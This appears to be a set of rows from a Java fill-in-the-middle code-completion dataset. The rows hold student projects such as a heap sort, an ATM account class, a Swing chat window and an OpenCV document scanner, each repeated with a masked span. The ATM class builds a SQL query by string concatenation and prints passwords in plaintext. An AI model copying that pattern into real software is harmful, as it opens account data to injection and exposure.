// i >= 0 && j >= 0; i--, j--) {
// if (board[i][j] == 'Q')
// return false;
// }
// return true;
// }
//
//
//}
| 0 | 41 | 0 |
64649_2 | package org.lanqiao.algo.elementary._03sort;
import org.assertj.core.api.Assertions;
import org.lanqiao.algo.util.Util;
import java.util.Arrays;
/**
* 思路:首先要知道大顶堆和小顶堆,数组就是一个堆,每个i节点的左右孩子是2i+1和2i+2<br />
* 有了堆,将其堆化:从n/2-1个元素开始向下修复,将每个节点修复为小(大)顶堆<br />
* 修复完成后,数组具有小(大)顶堆的性质<br />
* 按序输出:小顶堆可以对数组逆序排序,每次交换栈顶和末尾元素,对栈顶进行向下修复,这样次小元素又到堆顶了<br />
*
* 时间复杂度: 堆化:一半的元素修复,修复是单分支的,所以整体堆化为nlgn/2<br />
* 排序:n个元素都要取出,因此调整n次,每次调整修复同上是lgn的,整体为nlgn
* 空间复杂度:不需要开辟辅助空间<br />
* 原址排序<br />
* 稳定性:<br />
*/
public class _7HeapSort {
static void makeMinHeap(int[] A) {
int n = A.length;
for (int i = n / 2 - 1; i >= 0; i--) {
MinHeapFixDown(A, i, n);
}
}
static void MinHeapFixDown(int[] A, int i, int n) {
// 找到左右孩子
int left = 2 * i + 1;
int right = 2 * i + 2;
//左孩子已经越界,i就是叶子节点
if (left >= n) {
return;
}
int min = left;
if (right >= n) {
min = left;
} else {
if (A[right] < A[left]) {
min = right;
}
}
//min指向了左右孩子中较小的那个
// 如果A[i]比两个孩子都要小,不用调整
if (A[i] <= A[min]) {
return;
}
//否则,找到两个孩子中较小的,和i交换
int temp = A[i];
A[i] = A[min];
A[min] = temp;
//小孩子那个位置的值发生了变化,i变更为小孩子那个位置,递归调整
MinHeapFixDown(A, min, n);
}
//
// public static void sortDesc(int[] arr) {
// makeMinHeap( arr ); // 1.建立小顶堆
// int length = arr.length;
// for (int i = length - 1; i >= 1; i--) {
// Util.swap( arr, i, 0 ); // 堆顶(最小)元素换到元素末尾,末尾元素到了堆顶
// MinHeapFixDown( arr, 0, i );// 调整堆顶,边界递减
// }
// }
static void sort(int[] A) {
//先对A进行堆化
makeMinHeap(A);
for (int x = A.length - 1; x >= 0; x--) {
//把堆顶,0号元素和最后一个元素对调
Util.swap(A, 0, x);
//缩小堆的范围,对堆顶元素进行向下调整
MinHeapFixDown(A, 0, x);
}
}
public static void main(String[] args) {
int[] arr = Util.getRandomArr(10, 1, 100);
System.out.println( "begin..." + Arrays.toString( arr ) );
sort(arr);
System.out.println( "final..." + Arrays.toString( arr ) );
Assertions.assertThat( Util.checkOrdered( arr, false ) ).isTrue();
}
}
| Dxoca/Algorithm_LanQiao | src/main/java/org/lanqiao/algo/elementary/_03sort/_7HeapSort.java | 982 | //左孩子已经越界,i就是叶子节点 | line_comment | zh-cn | package org.lanqiao.algo.elementary._03sort;
import org.assertj.core.api.Assertions;
import org.lanqiao.algo.util.Util;
import java.util.Arrays;
/**
* 思路:首先要知道大顶堆和小顶堆,数组就是一个堆,每个i节点的左右孩子是2i+1和2i+2<br />
* 有了堆,将其堆化:从n/2-1个元素开始向下修复,将每个节点修复为小(大)顶堆<br />
* 修复完成后,数组具有小(大)顶堆的性质<br />
* 按序输出:小顶堆可以对数组逆序排序,每次交换栈顶和末尾元素,对栈顶进行向下修复,这样次小元素又到堆顶了<br />
*
* 时间复杂度: 堆化:一半的元素修复,修复是单分支的,所以整体堆化为nlgn/2<br />
* 排序:n个元素都要取出,因此调整n次,每次调整修复同上是lgn的,整体为nlgn
* 空间复杂度:不需要开辟辅助空间<br />
* 原址排序<br />
* 稳定性:<br />
*/
public class _7HeapSort {
static void makeMinHeap(int[] A) {
int n = A.length;
for (int i = n / 2 - 1; i >= 0; i--) {
MinHeapFixDown(A, i, n);
}
}
static void MinHeapFixDown(int[] A, int i, int n) {
// 找到左右孩子
int left = 2 * i + 1;
int right = 2 * i + 2;
//左孩 <SUF>
if (left >= n) {
return;
}
int min = left;
if (right >= n) {
min = left;
} else {
if (A[right] < A[left]) {
min = right;
}
}
//min指向了左右孩子中较小的那个
// 如果A[i]比两个孩子都要小,不用调整
if (A[i] <= A[min]) {
return;
}
//否则,找到两个孩子中较小的,和i交换
int temp = A[i];
A[i] = A[min];
A[min] = temp;
//小孩子那个位置的值发生了变化,i变更为小孩子那个位置,递归调整
MinHeapFixDown(A, min, n);
}
//
// public static void sortDesc(int[] arr) {
// makeMinHeap( arr ); // 1.建立小顶堆
// int length = arr.length;
// for (int i = length - 1; i >= 1; i--) {
// Util.swap( arr, i, 0 ); // 堆顶(最小)元素换到元素末尾,末尾元素到了堆顶
// MinHeapFixDown( arr, 0, i );// 调整堆顶,边界递减
// }
// }
static void sort(int[] A) {
//先对A进行堆化
makeMinHeap(A);
for (int x = A.length - 1; x >= 0; x--) {
//把堆顶,0号元素和最后一个元素对调
Util.swap(A, 0, x);
//缩小堆的范围,对堆顶元素进行向下调整
MinHeapFixDown(A, 0, x);
}
}
public static void main(String[] args) {
int[] arr = Util.getRandomArr(10, 1, 100);
System.out.println( "begin..." + Arrays.toString( arr ) );
sort(arr);
System.out.println( "final..." + Arrays.toString( arr ) );
Assertions.assertThat( Util.checkOrdered( arr, false ) ).isTrue();
}
}
| 1 | 17 | 1 |
16805_4 | package comm;
import java.sql.*;
import java.util.Objects;
import static comm.DBConfig.*;
public class Card {
private String cardID;
private String userName;
private String passWord;
private int balance;
private boolean exist;
public int getBalance() {
return balance;
}
// public void setBanlance(float banlance) {this.banlance = banlance;}
public String getUserName() {return userName;}
public void setUserName(String userName) {this.userName = userName; }
public String getCardID() {
return cardID;
}
public void setCardID(String cardID) {
this.cardID = cardID;
}
public String getPassWord() {
return passWord;
}
// public void setPassWord(String passWord) {
// this.passWord = passWord;
// }
public Card(String cardID, String passWord, int balance){
this.cardID = cardID;
this.passWord = passWord;
this.balance = balance;
getInfo(cardID);
}
public Card(String cardID){
getInfo(cardID);
}
//从数据库获取信息
public void getInfo(String cardID){
exist = false;
Connection conn = null;
Statement stmt = null;
try{
// 注册 JDBC 驱动
Class.forName(JDBC_DRIVER);
// 打开链接
System.out.println("连接数据库...");
conn = DriverManager.getConnection(DB_URL,USER,PASS);
// 执行查询
stmt = conn.createStatement();
String sql;
sql = "SELECT CardID, UserName, PassWord, Balance FROM user where CardID =" + cardID;
ResultSet rs = stmt.executeQuery(sql);
// 展开结果集数据库
while(rs.next()){
// 通过字段检索
String id = rs.getString("CardID");
String name = rs.getString("UserName");
String pwd = rs.getString("PassWord");
int balance = rs.getInt("Balance");
// 输出数据
System.out.print("CardID: " + id);
System.out.print(" UserName: " + name);
System.out.print(" PassWord: " + pwd);
System.out.print(" Balance: " + balance);
System.out.print("\n");
this.cardID = id;
this.userName = name;
this.balance = balance;
this.passWord=pwd;
if(!Objects.equals(id, "")) exist=true;
}
// 完成后关闭
rs.close();
stmt.close();
conn.close();
}catch(SQLException se){
// 处理 JDBC 错误
se.printStackTrace();
}catch(Exception e){
// 处理 Class.forName 错误
e.printStackTrace();
}finally{
// 关闭资源
try{
if(stmt!=null) stmt.close();
}catch(SQLException se2){
}// 什么都不做
try{
if(conn!=null) conn.close();
}catch(SQLException se){
se.printStackTrace();
}
}
}
// 判断账号是否存在
public boolean exist(){
System.out.println(exist);
return exist;
}
// 判断密码是否正确
public boolean judgePwd(String pwd){
return Objects.equals(pwd, this.passWord);
}
// 改密
public boolean setPassWord(String pwd){
if(exist()){
Connection conn = null;
Statement stmt = null;
try{
// 注册 JDBC 驱动
Class.forName(JDBC_DRIVER);
// 打开链接
System.out.println("连接数据库...");
conn = DriverManager.getConnection(DB_URL,USER,PASS);
// 执行修改
stmt = conn.createStatement();
String sql;
sql = "UPDATE user SET Password=? where CardID =?";
PreparedStatement pst = conn.prepareStatement(sql);
pst.setString(1,pwd);
pst.setString(2,cardID);
pst.executeUpdate();
// 完成后关闭
stmt.close();
conn.close();
}catch(SQLException se){
// 处理 JDBC 错误
se.printStackTrace();
}catch(Exception e){
// 处理 Class.forName 错误
e.printStackTrace();
}finally{
// 关闭资源
try{
if(stmt!=null) stmt.close();
}catch(SQLException se2){
}// 什么都不做
try{
if(conn!=null) conn.close();
}catch(SQLException se){
se.printStackTrace();
}
}
passWord=pwd;
}
return true;
}
//修改余额
public boolean setBanlance(int balance){
if(exist()){
Connection conn = null;
Statement stmt = null;
try{
// 注册 JDBC 驱动
Class.forName(JDBC_DRIVER);
// 打开链接
System.out.println("连接数据库...");
conn = DriverManager.getConnection(DB_URL,USER,PASS);
// 执行修改
stmt = conn.createStatement();
String sql;
sql = "UPDATE user SET Balance=? where CardID =?";
PreparedStatement pst = conn.prepareStatement(sql);
pst.setInt(1,balance);
pst.setString(2,cardID);
pst.executeUpdate();
// 完成后关闭
stmt.close();
conn.close();
}catch(SQLException se){
// 处理 JDBC 错误
se.printStackTrace();
}catch(Exception e){
// 处理 Class.forName 错误
e.printStackTrace();
}finally{
// 关闭资源
try{
if(stmt!=null) stmt.close();
}catch(SQLException se2){
}// 什么都不做
try{
if(conn!=null) conn.close();
}catch(SQLException se){
se.printStackTrace();
}
}
this.balance=balance;
}
return true;
}
}
| Dycley/ATM | src/comm/Card.java | 1,527 | // 注册 JDBC 驱动 | line_comment | zh-cn | package comm;
import java.sql.*;
import java.util.Objects;
import static comm.DBConfig.*;
public class Card {
private String cardID;
private String userName;
private String passWord;
private int balance;
private boolean exist;
public int getBalance() {
return balance;
}
// public void setBanlance(float banlance) {this.banlance = banlance;}
public String getUserName() {return userName;}
public void setUserName(String userName) {this.userName = userName; }
public String getCardID() {
return cardID;
}
public void setCardID(String cardID) {
this.cardID = cardID;
}
public String getPassWord() {
return passWord;
}
// public void setPassWord(String passWord) {
// this.passWord = passWord;
// }
public Card(String cardID, String passWord, int balance){
this.cardID = cardID;
this.passWord = passWord;
this.balance = balance;
getInfo(cardID);
}
public Card(String cardID){
getInfo(cardID);
}
//从数据库获取信息
public void getInfo(String cardID){
exist = false;
Connection conn = null;
Statement stmt = null;
try{
// 注册 <SUF>
Class.forName(JDBC_DRIVER);
// 打开链接
System.out.println("连接数据库...");
conn = DriverManager.getConnection(DB_URL,USER,PASS);
// 执行查询
stmt = conn.createStatement();
String sql;
sql = "SELECT CardID, UserName, PassWord, Balance FROM user where CardID =" + cardID;
ResultSet rs = stmt.executeQuery(sql);
// 展开结果集数据库
while(rs.next()){
// 通过字段检索
String id = rs.getString("CardID");
String name = rs.getString("UserName");
String pwd = rs.getString("PassWord");
int balance = rs.getInt("Balance");
// 输出数据
System.out.print("CardID: " + id);
System.out.print(" UserName: " + name);
System.out.print(" PassWord: " + pwd);
System.out.print(" Balance: " + balance);
System.out.print("\n");
this.cardID = id;
this.userName = name;
this.balance = balance;
this.passWord=pwd;
if(!Objects.equals(id, "")) exist=true;
}
// 完成后关闭
rs.close();
stmt.close();
conn.close();
}catch(SQLException se){
// 处理 JDBC 错误
se.printStackTrace();
}catch(Exception e){
// 处理 Class.forName 错误
e.printStackTrace();
}finally{
// 关闭资源
try{
if(stmt!=null) stmt.close();
}catch(SQLException se2){
}// 什么都不做
try{
if(conn!=null) conn.close();
}catch(SQLException se){
se.printStackTrace();
}
}
}
// 判断账号是否存在
public boolean exist(){
System.out.println(exist);
return exist;
}
// 判断密码是否正确
public boolean judgePwd(String pwd){
return Objects.equals(pwd, this.passWord);
}
// 改密
public boolean setPassWord(String pwd){
if(exist()){
Connection conn = null;
Statement stmt = null;
try{
// 注册 JDBC 驱动
Class.forName(JDBC_DRIVER);
// 打开链接
System.out.println("连接数据库...");
conn = DriverManager.getConnection(DB_URL,USER,PASS);
// 执行修改
stmt = conn.createStatement();
String sql;
sql = "UPDATE user SET Password=? where CardID =?";
PreparedStatement pst = conn.prepareStatement(sql);
pst.setString(1,pwd);
pst.setString(2,cardID);
pst.executeUpdate();
// 完成后关闭
stmt.close();
conn.close();
}catch(SQLException se){
// 处理 JDBC 错误
se.printStackTrace();
}catch(Exception e){
// 处理 Class.forName 错误
e.printStackTrace();
}finally{
// 关闭资源
try{
if(stmt!=null) stmt.close();
}catch(SQLException se2){
}// 什么都不做
try{
if(conn!=null) conn.close();
}catch(SQLException se){
se.printStackTrace();
}
}
passWord=pwd;
}
return true;
}
//修改余额
public boolean setBanlance(int balance){
if(exist()){
Connection conn = null;
Statement stmt = null;
try{
// 注册 JDBC 驱动
Class.forName(JDBC_DRIVER);
// 打开链接
System.out.println("连接数据库...");
conn = DriverManager.getConnection(DB_URL,USER,PASS);
// 执行修改
stmt = conn.createStatement();
String sql;
sql = "UPDATE user SET Balance=? where CardID =?";
PreparedStatement pst = conn.prepareStatement(sql);
pst.setInt(1,balance);
pst.setString(2,cardID);
pst.executeUpdate();
// 完成后关闭
stmt.close();
conn.close();
}catch(SQLException se){
// 处理 JDBC 错误
se.printStackTrace();
}catch(Exception e){
// 处理 Class.forName 错误
e.printStackTrace();
}finally{
// 关闭资源
try{
if(stmt!=null) stmt.close();
}catch(SQLException se2){
}// 什么都不做
try{
if(conn!=null) conn.close();
}catch(SQLException se){
se.printStackTrace();
}
}
this.balance=balance;
}
return true;
}
}
| 1 | 13 | 1 |
33350_3 | package com.cqu;
import com.cqu.JDBC.JDBCUtils;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
public class User {
private int id;
private String name;
private boolean sex;
private int age;
private int height;
private int weight;
private ArrayList<Node> state;
private ArrayList<String> conclusion;
public static final boolean male = true;
public static final boolean female = false;
public User() {
this.state = new ArrayList<>();
this.conclusion = new ArrayList<>();
}
/**
* 将基础信息与结论加载进数据库中保存
* @return
*/
public boolean storeInDB(){
Connection connection = null;
PreparedStatement preps = null;
ResultSet resultSet = null;
try {
connection = JDBCUtils.getConnection();
connection.setTransactionIsolation(8);
connection.setAutoCommit(false);//开启事务
preps = connection.prepareStatement("INSERT INTO users (name,sex,age,height,weight) VALUES (?,?,?,?,?)");
preps.setString(1,this.name);
preps.setBoolean(2,this.sex);
preps.setInt(3,this.age);
preps.setInt(4,this.height);
preps.setInt(5,this.weight);
preps.executeUpdate();
preps = connection.prepareStatement("select @@identity ");
resultSet = preps.executeQuery();
resultSet.next();
int key = resultSet.getInt("@@identity");
for (String con :
conclusion) {
preps = connection.prepareStatement("INSERT INTO conclusion (user_id,name,conclusion) VALUES (?,?,?)");
preps.setInt(1,key);
preps.setString(2,this.name);
preps.setString(3,con);
preps.executeUpdate();
}
connection.commit();
} catch (SQLException e) {
e.printStackTrace();
}finally {
JDBCUtils.close(resultSet,preps,connection);
}
return true;
}
/**
* 将布尔值男女转换成字符串男女
* @param sex
* @return
*/
public static String sexChange(boolean sex){
if (sex == male) {
return "男";
} else {
return "女";
}
}
/**
* 打印一次推理过后的结论
*/
public void printConclusion(){
System.out.println("-----------------------------");
System.out.println("姓名:"+this.name+" "
+ "性别:"+sexChange(this.sex)+" "
+"年龄:"+this.age+" "
+"体重:"+this.weight+"KG"+" "
+"身高:"+this.height+"cm");
System.out.println("-----------------------------");
for (String con :
conclusion) {
System.out.println((conclusion.indexOf(con)+1)+"、"+con);
}
}
/**
* 收集状态列表中含有“适合”的结论
*/
public void collectConclusion(){
for (Node node : state) {
if (node.parameter.contains("适合")){
if (node.paraValue == true) {
conclusion.add(node.parameter);
} else {
conclusion.add("不建议"+node.parameter);
}
}
}
}
/**
* user状态节点中是否含有指定节点
* @param node
* @return
*/
public boolean stateContains(Node node){
for (Node node1 : state) {
if (node.equals(node1)) {
return true;
}
}
return false;
}
/**
* 添加一个节点
* @param node
*/
public boolean add(Node node) {
//1、添加前先判断是否有节点名重复
boolean found = false;
boolean update = false;
for (int i = 0; i < state.size(); i++) {
if (node.equalsParameter(state.get(i))) {
found = true;
//2、判断参数值是否重复
if (node.equalsValue(state.get(i))) {
break;
} else {
update = true;
state.set(i,node);
}
}
}
if (!found) {
update =true;
state.add(node);
}
return update;
}
public int getId() {
return id;
}
public String getName() {
return name;
}
public boolean isSex() {
return sex;
}
public int getAge() {
return age;
}
public int getHeight() {
return height;
}
public int getWeight() {
return weight;
}
public ArrayList<Node> getState() {
return state;
}
public ArrayList<String> getConclusion() {
return conclusion;
}
public void setId(int id) {
this.id = id;
}
public void setName(String name) {
this.name = name;
}
public void setSex(boolean sex) {
this.sex = sex;
}
public void setAge(int age) {
this.age = age;
}
public void setHeight(int height) {
this.height = height;
}
public void setWeight(int weight) {
this.weight = weight;
}
}
| Dylan4J/reasoningSystem | firstOrder/src/com/cqu/User.java | 1,246 | /**
* 打印一次推理过后的结论
*/ | block_comment | zh-cn | package com.cqu;
import com.cqu.JDBC.JDBCUtils;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
public class User {
private int id;
private String name;
private boolean sex;
private int age;
private int height;
private int weight;
private ArrayList<Node> state;
private ArrayList<String> conclusion;
public static final boolean male = true;
public static final boolean female = false;
public User() {
this.state = new ArrayList<>();
this.conclusion = new ArrayList<>();
}
/**
* 将基础信息与结论加载进数据库中保存
* @return
*/
public boolean storeInDB(){
Connection connection = null;
PreparedStatement preps = null;
ResultSet resultSet = null;
try {
connection = JDBCUtils.getConnection();
connection.setTransactionIsolation(8);
connection.setAutoCommit(false);//开启事务
preps = connection.prepareStatement("INSERT INTO users (name,sex,age,height,weight) VALUES (?,?,?,?,?)");
preps.setString(1,this.name);
preps.setBoolean(2,this.sex);
preps.setInt(3,this.age);
preps.setInt(4,this.height);
preps.setInt(5,this.weight);
preps.executeUpdate();
preps = connection.prepareStatement("select @@identity ");
resultSet = preps.executeQuery();
resultSet.next();
int key = resultSet.getInt("@@identity");
for (String con :
conclusion) {
preps = connection.prepareStatement("INSERT INTO conclusion (user_id,name,conclusion) VALUES (?,?,?)");
preps.setInt(1,key);
preps.setString(2,this.name);
preps.setString(3,con);
preps.executeUpdate();
}
connection.commit();
} catch (SQLException e) {
e.printStackTrace();
}finally {
JDBCUtils.close(resultSet,preps,connection);
}
return true;
}
/**
* 将布尔值男女转换成字符串男女
* @param sex
* @return
*/
public static String sexChange(boolean sex){
if (sex == male) {
return "男";
} else {
return "女";
}
}
/**
* 打印一 <SUF>*/
public void printConclusion(){
System.out.println("-----------------------------");
System.out.println("姓名:"+this.name+" "
+ "性别:"+sexChange(this.sex)+" "
+"年龄:"+this.age+" "
+"体重:"+this.weight+"KG"+" "
+"身高:"+this.height+"cm");
System.out.println("-----------------------------");
for (String con :
conclusion) {
System.out.println((conclusion.indexOf(con)+1)+"、"+con);
}
}
/**
* 收集状态列表中含有“适合”的结论
*/
public void collectConclusion(){
for (Node node : state) {
if (node.parameter.contains("适合")){
if (node.paraValue == true) {
conclusion.add(node.parameter);
} else {
conclusion.add("不建议"+node.parameter);
}
}
}
}
/**
* user状态节点中是否含有指定节点
* @param node
* @return
*/
public boolean stateContains(Node node){
for (Node node1 : state) {
if (node.equals(node1)) {
return true;
}
}
return false;
}
/**
* 添加一个节点
* @param node
*/
public boolean add(Node node) {
//1、添加前先判断是否有节点名重复
boolean found = false;
boolean update = false;
for (int i = 0; i < state.size(); i++) {
if (node.equalsParameter(state.get(i))) {
found = true;
//2、判断参数值是否重复
if (node.equalsValue(state.get(i))) {
break;
} else {
update = true;
state.set(i,node);
}
}
}
if (!found) {
update =true;
state.add(node);
}
return update;
}
public int getId() {
return id;
}
public String getName() {
return name;
}
public boolean isSex() {
return sex;
}
public int getAge() {
return age;
}
public int getHeight() {
return height;
}
public int getWeight() {
return weight;
}
public ArrayList<Node> getState() {
return state;
}
public ArrayList<String> getConclusion() {
return conclusion;
}
public void setId(int id) {
this.id = id;
}
public void setName(String name) {
this.name = name;
}
public void setSex(boolean sex) {
this.sex = sex;
}
public void setAge(int age) {
this.age = age;
}
public void setHeight(int height) {
this.height = height;
}
public void setWeight(int weight) {
this.weight = weight;
}
}
| 0 | 30 | 0 |
34199_18 | package com.aochat.ui;
import com.aochat.ui.module.*;
import com.aochat.ui.module.Labels;
import com.aochat.ui.module.Menu;
import javax.swing.*;
import java.awt.*;
public class Frame {
JPanel rootPanel = new JPanel(); // 新建根窗口
JFrame frame = new JFrame("AoChat"); // 初始化窗口,并命名
Menu menuBar = new Menu(rootPanel, frame); // 新建菜单栏
IPText ipText = new IPText(rootPanel); // 新建IP输入栏
PortTexts portTexts = new PortTexts(rootPanel); // 新建端口输入栏
EnterTextArea enterTextArea = new EnterTextArea(rootPanel); // 新建信息输入栏
public MessageArea messageArea = new MessageArea(rootPanel); // 新建消息输入栏
Labels labels = new Labels(rootPanel); // 新建信息栏
Buttons buttons = new Buttons(rootPanel, menuBar); // 新建按钮组
public Frame(){
panelInit(); // 窗口初始化
setPosition(); // 设置每个组件位置
addActionListener(); // 添加监听器
}
private void panelInit(){
// 窗口初始化
// 设置图标
Toolkit took = Toolkit.getDefaultToolkit();
Image image = took.getImage("src/img/icon.png");
frame.setIconImage(image);
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); // 关闭窗口时关闭进程
frame.setContentPane(rootPanel); // 容器添加到面板
frame.setResizable(false); // 不准改大小
frame.setSize(800, 600); // 设置窗口大小
frame.setVisible(true); // 显示窗口
}
private void setPosition(){
// 设置每个组件位置
rootPanel.setLayout(null);// 禁用布局器
menuBar.setPosition();
enterTextArea.setPosition();
ipText.setPosition();
portTexts.setPosition();
messageArea.setPosition();
labels.setPosition();
buttons.setPosition();
}
private void addActionListener(){
// 添加监听器
menuBar.addActionListener();
buttons.addButtonActionListener(enterTextArea, ipText, portTexts, messageArea, labels, menuBar.ipHistorySet);
}
}
| DylanAo/AHU-AI-Repository | 专业选修课/Java/AoChat/com/aochat/ui/Frame.java | 519 | // 显示窗口
| line_comment | zh-cn | package com.aochat.ui;
import com.aochat.ui.module.*;
import com.aochat.ui.module.Labels;
import com.aochat.ui.module.Menu;
import javax.swing.*;
import java.awt.*;
public class Frame {
JPanel rootPanel = new JPanel(); // 新建根窗口
JFrame frame = new JFrame("AoChat"); // 初始化窗口,并命名
Menu menuBar = new Menu(rootPanel, frame); // 新建菜单栏
IPText ipText = new IPText(rootPanel); // 新建IP输入栏
PortTexts portTexts = new PortTexts(rootPanel); // 新建端口输入栏
EnterTextArea enterTextArea = new EnterTextArea(rootPanel); // 新建信息输入栏
public MessageArea messageArea = new MessageArea(rootPanel); // 新建消息输入栏
Labels labels = new Labels(rootPanel); // 新建信息栏
Buttons buttons = new Buttons(rootPanel, menuBar); // 新建按钮组
public Frame(){
panelInit(); // 窗口初始化
setPosition(); // 设置每个组件位置
addActionListener(); // 添加监听器
}
private void panelInit(){
// 窗口初始化
// 设置图标
Toolkit took = Toolkit.getDefaultToolkit();
Image image = took.getImage("src/img/icon.png");
frame.setIconImage(image);
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); // 关闭窗口时关闭进程
frame.setContentPane(rootPanel); // 容器添加到面板
frame.setResizable(false); // 不准改大小
frame.setSize(800, 600); // 设置窗口大小
frame.setVisible(true); // 显示 <SUF>
}
private void setPosition(){
// 设置每个组件位置
rootPanel.setLayout(null);// 禁用布局器
menuBar.setPosition();
enterTextArea.setPosition();
ipText.setPosition();
portTexts.setPosition();
messageArea.setPosition();
labels.setPosition();
buttons.setPosition();
}
private void addActionListener(){
// 添加监听器
menuBar.addActionListener();
buttons.addButtonActionListener(enterTextArea, ipText, portTexts, messageArea, labels, menuBar.ipHistorySet);
}
}
| 1 | 8 | 1 |
57652_1 | package com.itheima.ifdemo;
import java.util.Scanner;
public class IfDemo1 {
// 需求: 键盘录入女婿酒量,如果大于2斤,老丈人给出回应,反之不回应
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
System.out.println("请输入女婿的酒量");
int wine = sc.nextInt();
// 对酒量进行判断
if (wine>2){
System.out.println("小伙子,不错哦");
}
}
}
| DylanDDeng/java-learning | day04-code/src/com/itheima/ifdemo/IfDemo1.java | 150 | // 对酒量进行判断 | line_comment | zh-cn | package com.itheima.ifdemo;
import java.util.Scanner;
public class IfDemo1 {
// 需求: 键盘录入女婿酒量,如果大于2斤,老丈人给出回应,反之不回应
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
System.out.println("请输入女婿的酒量");
int wine = sc.nextInt();
// 对酒 <SUF>
if (wine>2){
System.out.println("小伙子,不错哦");
}
}
}
| 0 | 10 | 0 |
24092_10 | package com.dyman.opencvtest.utils;
import android.graphics.Bitmap;
import android.util.Log;
import org.opencv.android.Utils;
import org.opencv.core.Mat;
import org.opencv.core.MatOfPoint;
import org.opencv.core.MatOfPoint2f;
import org.opencv.core.Point;
import org.opencv.core.RotatedRect;
import org.opencv.core.Size;
import org.opencv.imgproc.Imgproc;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import java.util.List;
/**
* Created by dyman on 2017/8/12.
*
* 智能选区帮助类
*/
public class Scanner {
private static final String TAG = "Scanner";
private static int resizeThreshold = 500;
private static float resizeScale = 1.0f;
/** 扫描图片,并返回检测到的矩形的四个顶点的坐标 */
public static android.graphics.Point[] scanPoint(Bitmap srcBitmap) {
Mat srcMat = new Mat();
Utils.bitmapToMat(srcBitmap, srcMat);
// 图像缩放
Mat image = resizeImage(srcMat);
// 图像预处理
Mat scanImage = preProcessImage(image);
List<MatOfPoint> contours = new ArrayList<>(); // 检测到的轮廓
Mat hierarchy = new Mat(); // 各轮廓的继承关系
// 提取边框
Imgproc.findContours(scanImage, contours, hierarchy, Imgproc.RETR_EXTERNAL, Imgproc.CHAIN_APPROX_NONE);
// 按面积排序,最后只取面积最大的那个
Collections.sort(contours, new Comparator<MatOfPoint>() {
@Override
public int compare(MatOfPoint matOfPoint1, MatOfPoint matOfPoint2) {
double oneArea = Math.abs(Imgproc.contourArea(matOfPoint1));
double twoArea = Math.abs(Imgproc.contourArea(matOfPoint2));
return Double.compare(twoArea, oneArea);
}
});
Point[] resultArr = new Point[4];
if (contours.size() > 0) {
Log.i(TAG, "scanPoint: -------------contours.size="+contours.size());
// 取面积最大的
MatOfPoint2f contour2f = new MatOfPoint2f(contours.get(0).toArray());
double arc = Imgproc.arcLength(contour2f, true);
MatOfPoint2f outDpMat = new MatOfPoint2f();
Imgproc.approxPolyDP(contour2f, outDpMat, 0.02 * arc, true); // 多边形逼近
// 筛选去除相近的点
MatOfPoint2f selectMat = selectPoint(outDpMat, 1);
if (selectMat.toArray().length != 4) {
// 不是四边形,使用最小矩形包裹
RotatedRect rotatedRect = Imgproc.minAreaRect(selectMat);
rotatedRect.points(resultArr);
} else {
resultArr = selectMat.toArray();
}
// 比例还原
for (Point p : resultArr) {
p.x *= resizeScale;
p.y *= resizeScale;
}
}
// 对最终检测出的四个点进行排序:左上、右上、右下、坐下
Point[] result = sortPointClockwise(resultArr);
android.graphics.Point[] rs = new android.graphics.Point[result.length];
for (int i = 0; i < result.length; i++) {
android.graphics.Point p = new android.graphics.Point((int) result[i].x, (int) result[i].y);
rs[i] = p;
}
return rs;
}
/**
* 为避免处理时间过长,先对图片进行压缩
* @param image
* @return
*/
private static Mat resizeImage(Mat image) {
int width = image.cols();
int height = image.rows();
int maxSize = width > height ? width : height;
if (maxSize > resizeThreshold) {
resizeScale = 1.0f * maxSize / resizeThreshold;
width = (int) (width / resizeScale);
height = (int) (height / resizeScale);
Size size = new Size(width, height);
Mat resizeMat = new Mat();
Imgproc.resize(image, resizeMat, size);
return resizeMat;
}
return image;
}
/**
* 对图像进行预处理:灰度化、高斯模糊、Canny边缘检测
* @param image
* @return
*/
private static Mat preProcessImage(Mat image) {
Mat grayMat = new Mat();
Imgproc.cvtColor(image, grayMat, Imgproc.COLOR_RGB2GRAY); // 注意RGB和BGR,影响很大
Mat blurMat = new Mat();
Imgproc.GaussianBlur(grayMat, blurMat, new Size(5,5), 0);
Mat cannyMat = new Mat();
Imgproc.Canny(blurMat, cannyMat, 0, 5);
Mat thresholdMat = new Mat();
Imgproc.threshold(cannyMat, thresholdMat, 0, 255, Imgproc.THRESH_OTSU);
return cannyMat;
}
/** 过滤掉距离相近的点 */
private static MatOfPoint2f selectPoint(MatOfPoint2f outDpMat, int selectTimes) {
List<Point> pointList = new ArrayList<>();
pointList.addAll(outDpMat.toList());
if (pointList.size() > 4) {
double arc = Imgproc.arcLength(outDpMat, true);
for (int i = pointList.size() - 1; i >= 0; i--) {
if (pointList.size() == 4) {
Point[] resultPoints = new Point[pointList.size()];
for (int j = 0; j < pointList.size(); j++) {
resultPoints[j] = pointList.get(j);
}
return new MatOfPoint2f(resultPoints);
}
if (i != pointList.size() - 1) {
Point itor = pointList.get(i);
Point lastP = pointList.get(i + 1);
double pointLength = Math.sqrt(Math.pow(itor.x-lastP.x, 2) + Math.pow(itor.y - lastP.y, 2));
if (pointLength < arc * 0.01 * selectTimes && pointList.size() > 4) {
pointList.remove(i);
}
}
}
if (pointList.size() > 4) {
// 要手动逐个强转
Point[] againPoints = new Point[pointList.size()];
for (int i = 0; i < pointList.size(); i++) {
againPoints[i] = pointList.get(i);
}
return selectPoint(new MatOfPoint2f(againPoints), selectTimes + 1);
}
}
return outDpMat;
}
/** 对顶点进行排序 */
private static Point[] sortPointClockwise(Point[] points) {
if (points.length != 4) {
return points;
}
Point unFoundPoint = new Point();
Point[] result = {unFoundPoint, unFoundPoint, unFoundPoint, unFoundPoint};
long minDistance = -1;
for (Point point : points) {
long distance = (long) (point.x * point.x + point.y * point.y);
if (minDistance == -1 || distance < minDistance) {
result[0] = point;
minDistance = distance;
}
}
if (result[0] != unFoundPoint) {
Point leftTop = result[0];
Point[] p1 = new Point[3];
int i = 0;
for (Point point : points) {
if (point.x == leftTop.x && point.y == leftTop.y)
continue;
p1[i] = point;
i++;
}
